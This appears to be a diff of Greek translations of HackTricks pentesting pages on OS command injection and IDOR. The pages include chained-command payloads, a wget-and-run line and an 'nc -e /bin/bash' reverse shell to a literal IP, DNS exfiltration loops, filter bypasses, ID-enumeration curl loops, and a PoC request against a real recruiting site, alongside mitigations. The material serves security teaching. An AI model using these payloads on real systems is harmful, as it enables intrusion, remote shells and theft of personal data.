||||
## Τι είναι command Injection?
|
||||
|
||||
Μια **εκτέλεση εντολών** επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών επιτρέπει συνήθως στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο πάνω στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
|
||||
Ένα **command injection** επιτρέπει την εκτέλεση αυθαίρετων εντολών του λειτουργικού συστήματος από έναν attacker στον server που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον attacker να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
|
||||
|
||||
### Πλαίσιο
|
||||
|
||||
Ανάλογα με **το πού εισάγεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το παρατιθέμενο πλαίσιο** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
||||
Ανάλογα με το **πού εγχέεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το περιβάλλον εντός εισαγωγικών** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
||||
|
||||
## Εκτέλεση/Εκτέλεση εντολών
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
||||
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
||||
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
||||
ls %0A id # %0A Execute both (RECOMMENDED)
|
||||
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
|
||||
|
||||
#Only unix supported
|
||||
`ls` # ``
|
||||
@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Περιορισμοί** Bypasses
|
||||
### **Παρακάμψεις Περιορισμών**
|
||||
|
||||
Αν προσπαθείτε να εκτελέσετε **τυχαίες εντολές μέσα σε μια μηχανή linux** θα σας ενδιαφέρει να διαβάσετε για αυτούς τους **Bypasses:**
|
||||
Αν προσπαθείτε να εκτελέσετε **αυθαίρετες εντολές μέσα σε ένα linux μηχάνημα**, θα σας ενδιαφέρει να διαβάσετε για αυτές τις **παρακάμψεις:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -44,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||||
```
|
||||
### Παράμετροι
|
||||
### Parameters
|
||||
|
||||
Εδώ είναι οι 25 κορυφαίοι παράμετροι που θα μπορούσαν να είναι ευάλωτοι σε επιθέσεις κώδικα και παρόμοιες ευπάθειες RCE (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και σε παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -74,9 +75,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Χρονικά βασισμένη εξαγωγή δεδομένων
|
||||
### Time based data exfiltration
|
||||
|
||||
Εξαγωγή δεδομένων: χαρακτήρα προς χαρακτήρα
|
||||
Εξαγωγή δεδομένων: char by char
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -90,7 +91,7 @@ sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
|
||||
Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που φιλοξενείται επίσης στο dnsbin.zhack.ca
|
||||
Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin`, επίσης φιλοξενούμενο στο dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Online εργαλεία για τον έλεγχο της εξαγωγής δεδομένων βάσει DNS:
|
||||
Διαδικτυακά εργαλεία για τον έλεγχο εξαγωγής δεδομένων μέσω DNS:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Παράκαμψη φιλτραρίσματος
|
||||
### Παράκαμψη φίλτρων
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Όταν ελέγχετε back-ends JavaScript/TypeScript, θα συναντήσετε συχνά το API `child_process` του Node.js.
|
||||
Όταν ελέγχετε back-ends σε JavaScript/TypeScript, θα συναντήσετε συχνά το Node.js `child_process` API.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` δημιουργεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα έχει ως αποτέλεσμα **command injection** όταν η είσοδος του χρήστη συνδυάζεται στη συμβολοσειρά.
|
||||
`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδική σημασία για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συνενώνεται στη συμβολοσειρά.
|
||||
|
||||
**Mitigation:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε επιχείρημα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται κανένα shell:
|
||||
**Mitigation:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμη μέσω ενός μη αυθεντικοποιημένου γεγονότος WebSocket που τοποθετούσε δεδομένα ελεγχόμενα από τον επιτιθέμενο στο `id_user`, τα οποία στη συνέχεια ενσωματώνονταν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ιρλανδία 2024).
|
||||
Πραγματικό περιστατικό: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη αυθεντικοποιημένου WebSocket event που τοποθέτησε στον `id_user` δεδομένα υπό τον έλεγχο του επιτιθέμενου, τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
## Λίστα Ανίχνευσης Brute-Force
|
||||
## Brute-Force Λίστα Ανίχνευσης
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -154,5 +155,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,23 +2,22 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν αναγνωρίσιμο δείκτη που ελέγχεται από τον χρήστη και χρησιμοποιείται **άμεσα** για να αποκτήσει πρόσβαση σε ένα εσωτερικό αντικείμενο **χωρίς να επαληθεύει ότι ο καλών είναι εξουσιοδοτημένος** να έχει πρόσβαση/να τροποποιήσει αυτό το αντικείμενο.
|
||||
Η επιτυχής εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη κλιμάκωση προνομίων, όπως η ανάγνωση ή η τροποποίηση δεδομένων άλλων χρηστών και, στην χειρότερη περίπτωση, πλήρη κατάληψη λογαριασμού ή μαζική εξαγωγή δεδομένων.
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν identifier που μπορεί να ελεγχθεί από τον χρήστη και ο οποίος χρησιμοποιείται **directly** για να προσπελάσει ένα εσωτερικό αντικείμενο **without verifying that the caller is authorized** να προσπελάσει/τροποποιήσει αυτό το αντικείμενο. Η επιτυχής εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη αύξηση προνομίων, όπως την ανάγνωση ή τροποποίηση δεδομένων άλλων χρηστών και, στη χειρότερη περίπτωση, πλήρη takeover λογαριασμού ή μαζική εξαγωγή δεδομένων.
|
||||
|
||||
---
|
||||
## 1. Αναγνώριση Πιθανών IDORs
|
||||
## 1. Εντοπισμός πιθανών IDORs
|
||||
|
||||
1. Αναζητήστε **παραμέτρους που αναφέρονται σε ένα αντικείμενο**:
|
||||
* Διαδρομή: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Ερώτημα: `?id=42`, `?invoice=2024-00001`
|
||||
* Σώμα / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Επικεφαλίδες / Cookies: `X-Client-ID: 4711`
|
||||
1. Αναζητήστε **παραμέτρους που αναφέρονται σε αντικείμενο**:
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Προτιμήστε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Σημειώστε πότε οι αναγνωρίσιμοι δείκτες είναι **διαδοχικοί ή προβλέψιμοι** – αν το ID σας είναι `64185742`, τότε το `64185741` πιθανώς υπάρχει.
|
||||
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. *"Paradox team members"* σύνδεσμος στις σελίδες σύνδεσης) που μπορεί να αποκαλύψουν επιπλέον APIs.
|
||||
5. Χρησιμοποιήστε μια **εξουσιοδοτημένη συνεδρία χαμηλών προνομίων** και αλλάξτε μόνο το ID **διατηρώντας το ίδιο token/cookie**. Η απουσία σφάλματος εξουσιοδότησης είναι συνήθως ένδειξη IDOR.
|
||||
3. Σημειώστε πότε οι identifiers είναι **αύξοντες ή προβλέψιμοι** – αν το ID σας είναι `64185742`, τότε το `64185741` πιθανότατα υπάρχει.
|
||||
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. *"Paradox team members"* link στις σελίδες login) που μπορεί να αποκαλύψουν επιπλέον APIs.
|
||||
5. Χρησιμοποιήστε μια **authenticated low-privilege session** και αλλάξτε μόνο το ID **κρατώντας το ίδιο token/cookie**. Η απουσία σφάλματος authorization είναι συνήθως ένδειξη IDOR.
|
||||
|
||||
### Γρήγορη χειροκίνητη παρέμβαση (Burp Repeater)
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
@ -27,7 +26,7 @@ Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Αυτοματοποιημένη αρίθμηση (Burp Intruder / curl loop)
|
||||
### Αυτοματοποιημένη απαρίθμηση (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
@ -37,48 +36,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Μελέτη Περίπτωσης από τον Πραγματικό Κόσμο – McHire Chatbot Platform (2025)
|
||||
|
||||
Κατά τη διάρκεια μιας αξιολόγησης της πλατφόρμας πρόσληψης **McHire** που υποστηρίζεται από το Paradox.ai, ανακαλύφθηκε το εξής IDOR:
|
||||
### Error-response oracle for user/file enumeration
|
||||
|
||||
Όταν ένα download endpoint δέχεται τόσο ένα username όσο και ένα filename (π.χ. `/view.php?username=<u>&file=<f>`), μικρές διαφορές στα μηνύματα σφάλματος συχνά δημιουργούν ένα oracle:
|
||||
|
||||
- Μη υπάρχον username → "User not found"
|
||||
- Λανθασμένο filename αλλά έγκυρη επέκταση → "File does not exist" (μερικές φορές εμφανίζει επίσης διαθέσιμα αρχεία)
|
||||
- Λανθασμένη επέκταση → validation error
|
||||
|
||||
Με οποιαδήποτε επαληθευμένη συνεδρία, μπορείτε να fuzz την παράμετρο username κρατώντας ένα αβλαβές όνομα αρχείου και να φιλτράρετε με βάση το string "user not found" για να ανακαλύψετε έγκυρους χρήστες:
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
Μόλις εντοπιστούν έγκυρα ονόματα χρήστη, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., `/view.php?username=amanda&file=privacy.odt`). Αυτό το μοτίβο συχνά οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη των εγγράφων άλλων χρηστών και σε credential leakage.
|
||||
|
||||
---
|
||||
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
|
||||
|
||||
Κατά την αξιολόγηση της πύλης προσλήψεων **McHire** που τροφοδοτείται από Paradox.ai, εντοπίστηκε το ακόλουθο IDOR:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: cookie συνεδρίας χρήστη για **οποιονδήποτε** λογαριασμό δοκιμής εστιατορίου
|
||||
* Body parameter: `{"lead_id": N}` – 8-ψήφιος, **διαδοχικός** αριθμητικός αναγνωριστικός
|
||||
* Authorization: cookie συνεδρίας χρήστη για **οποιονδήποτε** test account εστιατορίου
|
||||
* Body parameter: `{"lead_id": N}` – 8-ψήφιος, **ακολουθιακός** αριθμητικός αναγνωριστικός
|
||||
|
||||
Μειώνοντας το `lead_id`, ο δοκιμαστής ανέκτησε τυχαία πλήρη PII υποψηφίων (**όνομα, email, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας**) καθώς και ένα **JWT** καταναλωτή που επέτρεπε την υποκλοπή συνεδρίας. Η αρίθμηση της κλίμακας `1 – 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** αρχεία.
|
||||
Μειώνοντας το `lead_id`, ο δοκιμαστής απέκτησε πλήρες PII τυχαίων υποψηφίων (όνομα, e-mail, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα consumer **JWT** που επέτρεψε session hijacking. Η απαρίθμηση του εύρους `1 – 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** εγγραφές.
|
||||
|
||||
Αίτημα απόδειξης της έννοιας:
|
||||
Proof-of-Concept request:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Συνδυασμένο με **προεπιλεγμένα διαπιστευτήρια διαχειριστή** (`123456:123456`) που παραχώρησαν πρόσβαση στον λογαριασμό δοκιμής, η ευπάθεια οδήγησε σε μια κρίσιμη, εταιρική διαρροή δεδομένων.
|
||||
Σε συνδυασμό με **default admin credentials** (`123456:123456`) που παρείχαν πρόσβαση στον test account, η ευπάθεια οδήγησε σε κρίσιμη, εταιρικής κλίμακας διαρροή δεδομένων.
|
||||
|
||||
---
|
||||
## 3. Επιπτώσεις του IDOR / BOLA
|
||||
* Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή **δεδομένων άλλων χρηστών**.
|
||||
* Κατακόρυφη κλιμάκωση – χρήστης με χαμηλά προνόμια αποκτά λειτουργικότητα μόνο για διαχειριστές.
|
||||
* Μαζική διαρροή δεδομένων αν οι ταυτοποιήσεις είναι διαδοχικές (π.χ., ID αιτούντων, τιμολόγια).
|
||||
* Κατάληψη λογαριασμού κλέβοντας tokens ή επαναφέροντας κωδικούς πρόσβασης άλλων χρηστών.
|
||||
* Horizontal escalation – ανάγνωση/ενημέρωση/διαγραφή δεδομένων **άλλων χρηστών**.
|
||||
* Vertical escalation – χρήστης με χαμηλά προνόμια αποκτά admin-only functionality.
|
||||
* Μαζική διαρροή δεδομένων αν οι ταυτοποιητές είναι ακολουθιακοί (π.χ., applicant IDs, invoices).
|
||||
* Κατάληψη λογαριασμού με κλοπή tokens ή επαναφορά κωδικών άλλων χρηστών.
|
||||
|
||||
---
|
||||
## 4. Μετριασμοί & Καλές Πρακτικές
|
||||
1. **Επιβολή εξουσιοδότησης σε επίπεδο αντικειμένου** σε κάθε αίτημα (`user_id == session.user`).
|
||||
2. Προτιμήστε **έμμεσες, μη μαντεύσιμες ταυτοποιήσεις** (UUIDv4, ULID) αντί για αυτόματους αυξανόμενους ID.
|
||||
3. Εκτελέστε την εξουσιοδότηση **στην πλευρά του διακομιστή**, ποτέ μην βασίζεστε σε κρυφά πεδία φόρμας ή ελέγχους UI.
|
||||
4. Εφαρμόστε ελέγχους **RBAC / ABAC** σε ένα κεντρικό middleware.
|
||||
5. Προσθέστε **περιορισμούς ρυθμού & καταγραφή** για να ανιχνεύσετε την αρίθμηση των ID.
|
||||
6. Δοκιμάστε την ασφάλεια κάθε νέας διεπαφής (μονάδα, ολοκλήρωση και DAST).
|
||||
1. **Εφαρμόστε εξουσιοδότηση σε επίπεδο αντικειμένου** σε κάθε αίτημα (`user_id == session.user`).
|
||||
2. Προτιμήστε **έμμεσα, μη προβλέψιμα αναγνωριστικά** (UUIDv4, ULID) αντί των auto-increment IDs.
|
||||
3. Πραγματοποιείτε την εξουσιοδότηση **από την πλευρά του server**, μην βασίζεστε σε κρυφά πεδία φορμών ή UI controls.
|
||||
4. Εφαρμόστε **RBAC / ABAC** ελέγχους σε ένα κεντρικό middleware.
|
||||
5. Προσθέστε **rate-limiting & logging** για να εντοπίζετε την εξακρίβωση/αρίθμηση των IDs.
|
||||
6. Δοκιμάζετε ασφάλεια κάθε νέο endpoint (unit, integration, and DAST).
|
||||
|
||||
---
|
||||
## 5. Εργαλεία
|
||||
* **Επεκτάσεις BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Projects στο Github**: `bwapp-idor-scanner`, `Blindy` (μαζική αναζήτηση IDOR).
|
||||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||
|
||||
|
||||
|
||||
## Αναφορές
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user